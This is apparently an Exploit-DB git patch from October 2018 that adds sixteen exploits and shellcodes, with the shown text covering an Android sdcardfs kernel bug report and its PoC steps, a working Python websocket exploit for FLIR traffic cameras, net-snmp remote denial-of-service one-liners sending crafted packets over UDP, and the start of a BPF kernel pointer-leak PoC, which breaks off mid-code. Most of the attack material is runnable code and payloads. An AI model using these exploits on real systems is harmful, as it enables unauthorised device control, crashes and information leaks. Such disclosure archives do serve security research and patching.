From b311000a228f84f6b808d1a053c396d975a79355 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Tue, 9 Oct 2018 05:01:44 +0000 Subject: [PATCH] DB: 2018-10-09 16 changes to exploits/shellcodes net-snmp 5.7.3 - Unauthenticated Denial of Service (PoC) net-snmp 5.7.3 - Authenticated Denial of Service (PoC) Linux - Kernel Pointer Leak via BPF Android - sdcardfs Changes current->fs Without Proper Locking 360 3.5.0.1033 - Sandbox Escape Git Submodule - Arbitrary Code Execution Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation Zahir Enterprise Plus 6 - Stack Buffer Overflow (Metasploit) Microsoft Windows - Net-NTLMv2 Reflection DCOM/RPC (Metasploit) Cisco Prime Infrastructure - Unauthenticated Remote Code Execution Unitrends UEB - HTTP API Remote Code Execution (Metasploit) Navigate CMS - Unauthenticated Remote Code Execution (Metasploit) FLIR Thermal Traffic Cameras 1.01-0bb5b27 - Information Disclosure Imperva SecureSphere 13 - Remote Command Execution Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes) Linux/MIPS (Big Endian) - execve(/bin/sh) + Reverse TCP 192.168.2.157/31337 Shellcode (181 bytes) --- exploits/android/dos/45558.txt | 203 +++++ exploits/hardware/webapps/45539.py | 206 +++++ exploits/linux/dos/45544.sh | 9 + exploits/linux/dos/45547.txt | 77 ++ exploits/linux/dos/45557.c | 275 ++++++ exploits/linux/local/45548.txt | 26 + exploits/linux/local/45553.c | 1279 ++++++++++++++++++++++++++++ exploits/linux/remote/45559.rb | 126 +++ exploits/linux/webapps/45542.py | 71 ++ exploits/multiple/remote/45555.rb | 191 +++++ exploits/php/remote/45561.rb | 128 +++ exploits/windows/local/45540.py | 29 + exploits/windows/local/45560.rb | 66 ++ exploits/windows/local/45562.rb | 144 ++++ files_exploits.csv | 14 + files_shellcodes.csv | 2 + shellcodes/linux_mips/45541.c | 75 ++ shellcodes/linux_x86/45538.txt | 118 +++ 18 files changed, 3039 insertions(+) create mode 100644 exploits/android/dos/45558.txt create mode 100755 exploits/hardware/webapps/45539.py create mode 100755 exploits/linux/dos/45544.sh create mode 100644 exploits/linux/dos/45547.txt create mode 100644 exploits/linux/dos/45557.c create mode 100644 exploits/linux/local/45548.txt create mode 100644 exploits/linux/local/45553.c create mode 100755 exploits/linux/remote/45559.rb create mode 100755 exploits/linux/webapps/45542.py create mode 100755 exploits/multiple/remote/45555.rb create mode 100755 exploits/php/remote/45561.rb create mode 100755 exploits/windows/local/45540.py create mode 100755 exploits/windows/local/45560.rb create mode 100755 exploits/windows/local/45562.rb create mode 100644 shellcodes/linux_mips/45541.c create mode 100644 shellcodes/linux_x86/45538.txt diff --git a/exploits/android/dos/45558.txt b/exploits/android/dos/45558.txt new file mode 100644 index 000000000..4edd646ee --- /dev/null +++ b/exploits/android/dos/45558.txt @@ -0,0 +1,203 @@ +Tested on a Pixel 2 (walleye): +[ro.build.ab_update]: [true] +[ro.build.characteristics]: [nosdcard] +[ro.build.date]: [Mon Jun 4 22:10:18 UTC 2018] +[ro.build.date.utc]: [1528150218] +[ro.build.description]: [walleye-user 8.1.0 OPM2.171026.006.G1 4820017 release-keys] +[ro.build.display.id]: [OPM2.171026.006.G1] +[ro.build.expect.baseband]: [g8998-00202-1802061358] +[ro.build.expect.bootloader]: [mw8998-002.0069.00] +[ro.build.fingerprint]: [google/walleye/walleye:8.1.0/OPM2.171026.006.G1/4820017:user/release-keys] +[ro.build.flavor]: [walleye-user] +[ro.build.host]: [wprd10.hot.corp.google.com] +[ro.build.id]: [OPM2.171026.006.G1] +[ro.build.product]: [walleye] +[ro.build.system_root_image]: [true] +[ro.build.tags]: [release-keys] +[ro.build.type]: [user] +[ro.build.user]: [android-build] +[ro.build.version.all_codenames]: [REL] +[ro.build.version.base_os]: [] +[ro.build.version.codename]: [REL] +[ro.build.version.incremental]: [4820017] +[ro.build.version.preview_sdk]: [0] +[ro.build.version.release]: [8.1.0] +[ro.build.version.sdk]: [27] +[ro.build.version.security_patch]: [2018-07-05] + + +Android used to use a FUSE filesystem to emulate external storage, but nowadays +an in-kernel filesystem called "sdcardfs" is used instead. This filesystem does +not exist in the upstream Linux kernel, but does exist in the AOSP common kernel +tree. + +In sdcardfs_create() and sdcardfs_mkdir() +(https://android.googlesource.com/kernel/common/+/android-4.14/fs/sdcardfs/inode.c), +the following code is used to temporarily override the umask while calling into +the lower filesystem: + + /* temporarily change umask for lower fs write */ + saved_fs = current->fs; + copied_fs = copy_fs_struct(current->fs); + if (!copied_fs) { + err = -ENOMEM; + goto out_unlock; + } + current->fs = copied_fs; + current->fs->umask = 0; + [... access lower filesystem ...] + current->fs = saved_fs; + free_fs_struct(copied_fs); + +This is wrong; as a comment in include/linux/sched.h explains, ->fs must not be +accessed without holding the corresponding task lock: + + /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */ + spinlock_t alloc_lock; + +For example, the procfs per-task entries "root" and "cwd" access the ->fs member +of remote tasks under the task lock: + + static int proc_cwd_link(struct dentry *dentry, struct path *path) + { + struct task_struct *task = get_proc_task(d_inode(dentry)); + int result = -ENOENT; + + if (task) { + task_lock(task); + if (task->fs) { + get_fs_pwd(task->fs, path); + result = 0; + } + task_unlock(task); + put_task_struct(task); + } + return result; + } + +This bug can be triggered by any context that can create files in an sdcardfs +mount, so normal applications with zero permissions can hit it (by using +/sdcard/Android/data/{packagename}/, which does not require the external storage +permission). + + +To reproduce the bug in a simple way, compile the attached poc_viaadb.c: + +$ /usr/local/google/home/jannh/my-android-toolchain/bin/aarch64-linux-android-gcc -static -o poc_viaadb poc_viaadb.c -pthread + +Push the resulting binary to the device, and run it: + + $ adb push poc_viaadb /data/local/tmp/ + poc_viaadb: 1 file pushed. 13.5 MB/s (2640776 bytes in 0.187s) + $ adb shell /data/local/tmp/poc_viaadb + +Now you should see a lot of "target: [...]" messages, followed by the device +freezing and rebooting. + +After rebooting, pull a bug report via ADB ("adb bugreport") and look for a +crash message in the "LAST KMSG" section. The type of crash you see might vary, +since there's a lot of different ways in which this code can crash, but here's +an example of how it might look - a crash inside the memory allocator: + + +================================================================================ +[ 997.010495] c7 1718 Unable to handle kernel paging request at virtual address fffffff2873e1180 +[ 997.010522] c7 1718 pgd = 0000000000000000 +[ 997.010537] [fffffff2873e1180] *pgd=0000000000000000, *pud=0000000000000000 +[ 997.010632] c7 1718 ------------[ cut here ]------------ +[ 997.010646] c7 1718 Kernel BUG at 0000000000000000 [verbose debug info unavailable] +[ 997.010661] c7 1718 Internal error: Oops - BUG: 96000005 [#1] PREEMPT SMP +[ 997.010675] Modules linked in: htc_battery synaptics_dsx_rmi_dev_htc synaptics_dsx_fw_update_htc synaptics_dsx_core_htc +[ 997.010721] c7 1718 CPU: 7 PID: 1718 Comm: GLThread 41 Not tainted 4.4.88-g3acf2d53921d #1 +[ 997.010736] c7 1718 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT) +[ 997.010750] c7 1718 task: 0000000000000000 task.stack: 0000000000000000 +[ 997.010776] c7 1718 PC is at kmem_cache_alloc+0x88/0x228 +[ 997.010798] c7 1718 LR is at kgsl_drawobj_cmd_add_cmdlist+0x120/0x1e4 +[ 997.010812] c7 1718 pc : [] lr : [] pstate: 60400145 +[ 997.010824] c7 1718 sp : fffffff2058ebbb0 +[ 997.010836] x29: fffffff2058ebbf0 x28: fffffff2089c9b80 +[ 997.010868] x27: ffffff9f501f4000 x26: fffffff2089c9b80 +[ 997.010893] x25: fffffff18e07a448 x24: 0000000000000001 +[ 997.010912] x23: fffffff2089c9b80 x22: fffffff239402b00 +[ 997.010930] x21: fffffff2873e1180 x20: 00000000024000c0 +[ 997.010952] x19: ffffff9f4de4e054 x18: 0000000000001600 +[ 997.010959] x17: 0000007ea408ae34 x16: 00000000b0000000 +[ 997.010965] x15: 000000017e4c0000 x14: 0000000000000006 +[ 997.010972] x13: ffffff9f5008f490 x12: 0000000000000000 +[ 997.010978] x11: 000000000012abd7 x10: 000000000012abcf +[ 997.010984] x9 : 0000000000000000 x8 : 000000000012abcf +[ 997.010990] x7 : 00000007fdcf4000 x6 : fffffff2058ebc28 +[ 997.010996] x5 : fffffff2058ebc28 x4 : 0000000000000001 +[ 997.011002] x3 : 0000000082cb5000 x2 : 0000000000000018 +[ 997.011008] x1 : 00000000024000c0 x0 : fffffff239402b00 +[ 997.011015] c7 1718 +[ 997.011015] c7 1718 PC: 0xffffff9f4d9df14c: +[ 997.011019] f14c b9401ae9 51000529 b9001ae9 35000069 f94002e9 37080449 f94002c9 d538d08a +[ 997.011040] f16c 8b090149 f940052a eb0a011f 54fffdc1 f9400135 b4000bb5 b98022c9 9100210b +[ 997.011060] f18c f8696ab8 b9401ae9 11000529 b9001ae9 f94002c9 d538d08a 8b090149 f9800131 +[ 997.011080] f1ac c87f652a ca15014a ca080339 aa190159 b5000079 c82a2d38 35ffff4a b9401ae8 +[ 997.011101] c7 1718 +[ 997.011101] c7 1718 LR: 0xffffff9f4de4e014: +[ 997.011105] e014 b40004ca aa1703e1 2a1f03e2 97ee702c 910023e0 aa1603e1 aa1703e2 97f50b24 +[ 997.011125] e034 b5000420 b94023e4 12000888 34000408 f9471360 52801801 72a04801 97ee442d +[ 997.011145] e054 aa0003e8 b40005a8 f9400be9 11000718 2a1f03e0 6b14031f f9001109 f9400fe9 +[ 997.011164] e074 910082d6 f9001509 b94027e9 b9001109 f94007e9 f9000d09 b94023e9 a9037d09 +[ 997.011185] c7 1718 +[ 997.011185] c7 1718 SP: 0xfffffff2058ebb70: +[ 997.011189] bb70 4de4e054 ffffff9f 058ebbb0 fffffff2 4d9df18c ffffff9f 60400145 00000000 +[ 997.011209] bb90 4fe2f270 ffffff9f 4fe2fe98 ffffff9f 00000000 00000080 4fe2cee8 ffffff9f +[ 997.011230] bbb0 8e07a448 fffffff1 a2257020 fffffff1 00000001 00000000 00000020 00000000 +[ 997.011250] bbd0 0a083ac8 0000007e 4fe2cee8 ffffff9f 00000002 00000000 8e07a400 fffffff1 +[ 997.011270] c7 1718 +[ 997.011274] c7 1718 Process GLThread 41 (pid: 1718, stack limit = 0x0000000000000000) +[ 997.011278] c7 1718 Call trace: +[ 997.011283] c7 1718 Exception stack(0xfffffff2058eba80 to 0xfffffff2058ebbb0) +[ 997.011288] c7 1718 ba80: fffffff239402b00 00000000024000c0 0000000000000018 0000000082cb5000 +[ 997.011292] c7 1718 baa0: 0000000000000001 fffffff2058ebc28 fffffff2058ebc28 00000007fdcf4000 +[ 997.011297] c7 1718 bac0: 000000000012abcf 0000000000000000 000000000012abcf 000000000012abd7 +[ 997.011301] c7 1718 bae0: 0000000000000000 ffffff9f5008f490 0000000000000006 000000017e4c0000 +[ 997.011306] c7 1718 bb00: 00000000b0000000 0000007ea408ae34 0000000000001600 ffffff9f4de4e054 +[ 997.011310] c7 1718 bb20: 00000000024000c0 fffffff2873e1180 fffffff239402b00 fffffff2089c9b80 +[ 997.011315] c7 1718 bb40: 0000000000000001 fffffff18e07a448 fffffff2089c9b80 ffffff9f501f4000 +[ 997.011319] c7 1718 bb60: fffffff2089c9b80 fffffff2058ebbf0 ffffff9f4de4e054 fffffff2058ebbb0 +[ 997.011323] c7 1718 bb80: ffffff9f4d9df18c 0000000060400145 ffffff9f4fe2f270 ffffff9f4fe2fe98 +[ 997.011327] c7 1718 bba0: 0000008000000000 ffffff9f4fe2cee8 +[ 997.011332] c7 1718 [] kmem_cache_alloc+0x88/0x228 +[ 997.011337] c7 1718 [] kgsl_drawobj_cmd_add_cmdlist+0x120/0x1e4 +[ 997.011342] c7 1718 [] kgsl_ioctl_gpu_command+0x114/0x288 +[ 997.011347] c7 1718 [] kgsl_ioctl_helper+0x134/0x1b8 +[ 997.011351] c7 1718 [] kgsl_ioctl+0x30/0xbc +[ 997.011357] c7 1718 [] do_vfs_ioctl+0x434/0x884 +[ 997.011361] c7 1718 [] SyS_ioctl+0x88/0x94 +[ 997.011367] c7 1718 [] __sys_trace_return+0x0/0x4 +[ 997.011373] c7 1718 Code: f9400135 b4000bb5 b98022c9 9100210b (f8696ab8) +[ 997.011417] c7 1718 ---[ end trace aea07a0c0fb86e0d ]--- +[ 997.015389] c7 1718 Kernel panic - not syncing: Fatal exception +================================================================================ + +Note that another possible way in which the memory corruption can happen is +corruption of a spinlock - in that case, the phone won't panic, but messages +about a soft kernel lockup will start appearing in dmesg after some time. +Experimentally, that seems to happen if the chaos_worker thread is removed from +the PoC. + + + +I have verified that this bug can also be triggered from a normal Android app. +To reproduce that, follow these steps: + + - install https://play.google.com/store/apps/details?id=org.connectbot on the + phone + - run "adb shell mkdir /sdcard/Android/data/org.connectbot" + - run "/usr/local/google/home/jannh/my-android-toolchain/bin/aarch64-linux-android-gcc -static -o poc poc.c -pthread" + - run "adb push poc /sdcard/Android/data/org.connectbot/" + - on the phone, open a local terminal in connectbot + - in the terminal: + $ cd /data/data/org.connectbot + $ cp /sdcard/Android/data/org.connectbot/poc . + $ chmod +x poc + $ ./poc + + +Proof of Concept: +https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45558.zip \ No newline at end of file diff --git a/exploits/hardware/webapps/45539.py b/exploits/hardware/webapps/45539.py new file mode 100755 index 000000000..76ccc68cf --- /dev/null +++ b/exploits/hardware/webapps/45539.py @@ -0,0 +1,206 @@ +# Title: FLIR Thermal Traffic Cameras 1.01-0bb5b27 - Information Disclosure +# Author: Gjoko 'LiquidWorm' Krstic +# Date: 2018-10-06 +# Vendor: FLIR Systems, Inc. +# Link: https://www.flir.com +# Tested on: nginx/1.12.1, nginx/1.10.2, nginx/1.8.0, Websocket/13 (RFC 6455) +# Affected firmware version: V1.01-0bb5b27 (TrafiOne) Codename: TrafiOne +# E1.00.09 (TI BPL2 EDGE) Codename: TIIP4EDGE +# V1.02.P01 (TI x-stream) Codename: TIIP2 +# V1.05.P01 (ThermiCam) Codename: ThermiCam +# V1.04.P02 (ThermiCam) Codename: ThermiCam +# V1.04 (ThermiCam) Codename: ThermiCam +# V1.01.P02 (ThermiCam) Codename: ThermiCam +# V1.05.P03 (TrafiSense) Codename: TrafiSense +# V1.06 (VIP-IP) Codename: VIP-IP +# V1.02.P02 (TrafiRadar) Codename: TrafiRadar +# +# Vendor patched firmware version: +# +# Product name Firmware Released +# ---------------------------------------------------- +# ThermiCam / TrafiSense E1.06.03 17.09.2018 +# TI BPL2 EDGE V1.00 17.09.2018 +# TI x-stream E1.03.02 17.09.2018 +# TrafiOne E1.02.02 17.09.2018 +# ---------------------------------------------------- +# +# Advisory ID: ZSL-2018-5490 +# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5490.php +# Vendor firmware updates: https://www.flir.com/security/best-practices-for-cybersecurity/ +# Vendor cyber hardening guide: https://www.flir.com/globalassets/security/flir-pro-security-cyber-hardening-guide.pdf + +# Desc: FLIR thermal traffic cameras suffer from an unauthenticated device manipulation +# vulnerability utilizing the websocket protocol. The affected FLIR Intelligent +# Transportation Systems - ITS models use an insecure implementation of websocket +# communication used for administering the device. Authentication and authorization +# bypass via referencing a direct object allows an attacker to directly modify running +# configurations, disclose information or initiate a denial of service (DoS) scenario +# with Reboot command. The devices do not support the usage of TLS 'wss://' prefix for +# WebSocket Secure connection making the network traffic disclosed in plain-text to +# MitM evil-doers. Also, the web service has an Origin validation security issue and +# is vulnerable to Cross-Site WebSocket Hijacking (CSWSH). +# +# --- +# Request: +# +# GET ws://192.168.1.1:13042/ws/xml2 HTTP/1.1 +# Host: 192.168.1.1:13042 +# Connection: Upgrade +# Pragma: no-cache +# Cache-Control: no-cache +# User-Agent: Bond/00.7 +# Upgrade: websocket +# Origin: zeroscience.mk:1337 +# Sec-WebSocket-Version: 13 +# Accept-Encoding: gzip, deflate +# Accept-Language: en-US,en;q=0.9 +# Cookie: tmhDynamicLocale.locale=%22en%22 +# Sec-WebSocket-Key: A5SH9PRtc3rYF49kKO4vmw== +# Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits +# +# Response: +# +# HTTP/1.1 101 Switching Protocols +# Server: nginx/1.10.2 +# Date: Mon, 13 Aug 2018 02:48:46 GMT +# Content-Length: 0 +# Connection: upgrade +# Upgrade: WebSocket +# Sec-WebSocket-Accept: QyXaTdjpCsAyxhVnVqjMg95jepk= +# +# --- +# No HTTP/1.1 401 Unauthorized response observed. +# + +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from websocket import create_connection as t00t +import time +import sys + +endpoint = "/ws/xml2" + +if (len(sys.argv) <= 2): + print '[*] Usage: exploit.py ' + exit(0) + +host = sys.argv[1] +port = sys.argv[2] + +# Supported message types: +''' + + + + + + + + + + + + + + + + + + + + + + + + <-- ;]] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +''' + +socket = t00t("ws://"+host+":"+port+endpoint) + +#print 'Sending Reboot message type (DoS)...' +#msg = '' +#print 'Getting supported messages...' +#msg = '' +#print 'Getting system logs...' +#msg = '' +#print 'Getting device configuration...' +#msg = '' +#print 'Setting new Wifi information...' +#msg =''' +# +# +# +#''' + +msg = '' + +socket.send(msg) +print 'Message sent.' +print 'Receiving...' +time.sleep(2) +priem = socket.recv() +print 'Received data: \n%s' % priem +socket.close() \ No newline at end of file diff --git a/exploits/linux/dos/45544.sh b/exploits/linux/dos/45544.sh new file mode 100755 index 000000000..f2ccbe939 --- /dev/null +++ b/exploits/linux/dos/45544.sh @@ -0,0 +1,9 @@ +# Exploit Title: net-snmp 5.7.3 - Unauthenticated Denial of Service (PoC) +# Date: 2018-10-08 +# Exploit Author: Magnus Klaaborg Stubman +# Website: https://dumpco.re/blog/net-snmp-5.7.3-remote-dos +# Vendor Homepage: http://www.net-snmp.org/ +# Software Link: https://sourceforge.net/projects/net-snmp/files/net-snmp/5.7.3/ +# Version: 5.7.3, 5.5.2.1, 5.6.2.1, others not tested + +echo -n "MIG1AgEDMBECBACeXRsCAwD/4wQBBQIBAwQvMC0EDYAAH4iAWdxIYUWiYyICAQgCAgq5BAVwaXBwbwQMBVsKohj9MlusDerWBAAwbAQFgAAAAAYEAKFZAgQsGA29AgEAAgEAMEswDQEEAWFFg2MiBAChWQIELBgNvQIBAAIBADBLMA0GCSsGAQIBAgI1LjI1NS4wMCEGEisGNS4yNTUuMAEEAYF9CDMKAgEHCobetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/161 \ No newline at end of file diff --git a/exploits/linux/dos/45547.txt b/exploits/linux/dos/45547.txt new file mode 100644 index 000000000..31cbc30ea --- /dev/null +++ b/exploits/linux/dos/45547.txt @@ -0,0 +1,77 @@ + _ _ + / | ___ ___| |_ ___ ___ ___ _____ ___ + _ / / | | -_| _|___|_ -| | | . | +|_|_/ |_|_|___|_| |___|_|_|_|_|_| _| + |_| +2018-10-08 + +NET-SNMP REMOTE DOS +=================== + +Second bug is remotely exploitable only with knowledge of the community string (in this case "public") leading to Denial of Service: + + # echo -n "MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIuMzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQNMjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/1111 + + # net-snmp-5.7.3/agent/snmpd -f -d -V -c ../../snmpd.conf -Ln 127.0.0.1:1111 + ASAN:SIGSEGV + ================================================================= + ==41062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000410 (pc 0x00000075bc0f bp 0x7ffdda226b10 sp 0x7ffdda2269e0 T0) + #0 0x75bc0e in _set_key /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564:9 + #1 0x75bc0e in _data_lookup /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:614 + #2 0x75bc0e in _container_table_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:749 + #3 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15 + #4 0x572dc4 in netsnmp_call_next_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:640:12 + #5 0x58751c in table_helper_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table.c:713:9 + #6 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15 + #7 0x572c79 in netsnmp_call_handlers /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:611:14 + #8 0x520d86 in handle_var_requests /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:2679:22 + #9 0x524dbe in handle_pdu /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3441:18 + #10 0x51b976 in netsnmp_handle_request /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3284:14 + #11 0x515876 in handle_snmp_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:1990:10 + #12 0x7f3558 in _sess_process_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5437:7 + #13 0x7ef331 in _sess_read /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5877:14 + #14 0x7ed2e0 in snmp_sess_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5911:10 + #15 0x7ed2e0 in snmp_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5502 + #16 0x4f9286 in receive /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1375:15 + #17 0x4f9286 in main /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1118 + #18 0x7fc1acb11b44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287 + #19 0x4f617c in _start (/home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd+0x4f617c) + + AddressSanitizer can not provide additional info. + SUMMARY: AddressSanitizer: SEGV /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564 _set_key + ==41062==ABORTING + + +PATCHES +======= + +Vuln#2: sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d + + +TIMELINE +======== + +2015-04-11 Vendor releases patch of bug#1 in version control - no public article or otherwise disclosure +2016-10-06 Vendor releases patch of bug#2 in version control - no public article or otherwise disclosure +2018-01-05 I discovered both bugs +2018-01-08 Vendor notified +2018-01-08 Vendor responds - bugs already fixed in version control repo +2018-10-08 Public disclosure of exploit + +PROOF OF DISCOVERY +================== + + # cat vuln2 | base64 + MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIu + MzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQN + MjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y + # sha256sum vuln2 + b7f0e494b8a91c6fedb7e13b3b8dab68a951b5fdc21dd876ae91eb86924018f2 vuln2 + twitter.com/magnusstubman/status/949520565064404994 + + +REFERENCES +========== + +- sourceforge.net/p/net-snmp/bugs/2820 +- sourceforge.net/p/net-snmp/bugs/2819 \ No newline at end of file diff --git a/exploits/linux/dos/45557.c b/exploits/linux/dos/45557.c new file mode 100644 index 000000000..aa6a55b62 --- /dev/null +++ b/exploits/linux/dos/45557.c @@ -0,0 +1,275 @@ +/* +Commit 82abbf8d2fc46d79611ab58daa7c608df14bb3ee ("bpf: do not allow root to mangle valid pointers", first in v4.15) included the following snippet: + +========= +@@ -2319,43 +2307,29 @@ static int adjust_reg_min_max_vals(struct bpf_verifier_env *env, + if (src_reg->type != SCALAR_VALUE) { + if (dst_reg->type != SCALAR_VALUE) { + /* Combining two pointers by any ALU op yields +- * an arbitrary scalar. ++ * an arbitrary scalar. Disallow all math except ++ * pointer subtraction + +- if (!env->allow_ptr_leaks) { +- verbose(env, "R%d pointer %s pointer prohibited\n", +- insn->dst_reg, +- bpf_alu_string[opcode >> 4]); +- return -EACCES; ++ if (opcode == BPF_SUB){ ++ mark_reg_unknown(env, regs, insn->dst_reg); ++ return 0; + } +- mark_reg_unknown(env, regs, insn->dst_reg); +- return 0; ++ verbose(env, "R%d pointer %s pointer prohibited\n", ++ insn->dst_reg, ++ bpf_alu_string[opcode >> 4]); ++ return -EACCES; + } else { +========= + +This allows an unprivileged user to subtract any two values that don't have type SCALAR_VALUE, and obtain a result with type SCALAR_VALUE. +One obvious way in which this is dangerous is a subtraction between PTR_TO_STACK and PTR_TO_MAP_VALUE_OR_NULL: If the PTR_TO_MAP_VALUE_OR_NULL-typed value is NULL, then this directly leaks the kernel stack pointer. + +I think that pointer-pointer subtractions should only be permitted when it can be proven that both pointers point into the same object. + +I have attached a PoC. BPF disassembly and output: + +============== +user@debian:~/bpf_ptrleak_nullsub$ gcc -o ptrleak_nullsub ptrleak_nullsub.c && ./ptrleak_nullsub +========================== +0: (18) r1 = 0x0 +2: (bf) r2 = r10 +3: (07) r2 += -4 +4: (62) *(u32 *)(r2 +0) = 9 +5: (85) call bpf_map_lookup_elem#1 +6: (bf) r9 = r10 +7: (1f) r9 -= r0 +8: (18) r1 = 0x0 +10: (bf) r2 = r10 +11: (07) r2 += -4 +12: (62) *(u32 *)(r2 +0) = 0 +13: (85) call bpf_map_lookup_elem#1 +14: (55) if r0 != 0x0 goto pc+1 + R0=inv0 R9=inv(id=0) R10=fp0,call_-1 +15: (95) exit + +from 14 to 16: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=inv(id=0) R10=fp0,call_-1 +16: (7b) *(u64 *)(r0 +0) = r9 + R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=inv(id=0) R10=fp0,call_-1 +17: (b7) r0 = 0 +18: (95) exit +processed 17 insns (limit 131072), stack depth 4 +========================== +leaked pointer: 0xffff9ec802103c78 +user@debian:~/bpf_ptrleak_nullsub$ +============== +*/ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define GPLv2 "GPL v2" +#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0])) + + +/* registers */ +/* caller-saved: r0..r5 */ +#define BPF_REG_ARG1 BPF_REG_1 +#define BPF_REG_ARG2 BPF_REG_2 +#define BPF_REG_ARG3 BPF_REG_3 +#define BPF_REG_ARG4 BPF_REG_4 +#define BPF_REG_ARG5 BPF_REG_5 +#define BPF_REG_CTX BPF_REG_6 +#define BPF_REG_FP BPF_REG_10 + +#define BPF_FUNC_trace_printk 6 + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) +#define BPF_EMIT_CALL(FUNC) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_CALL, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = (FUNC) }) +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, 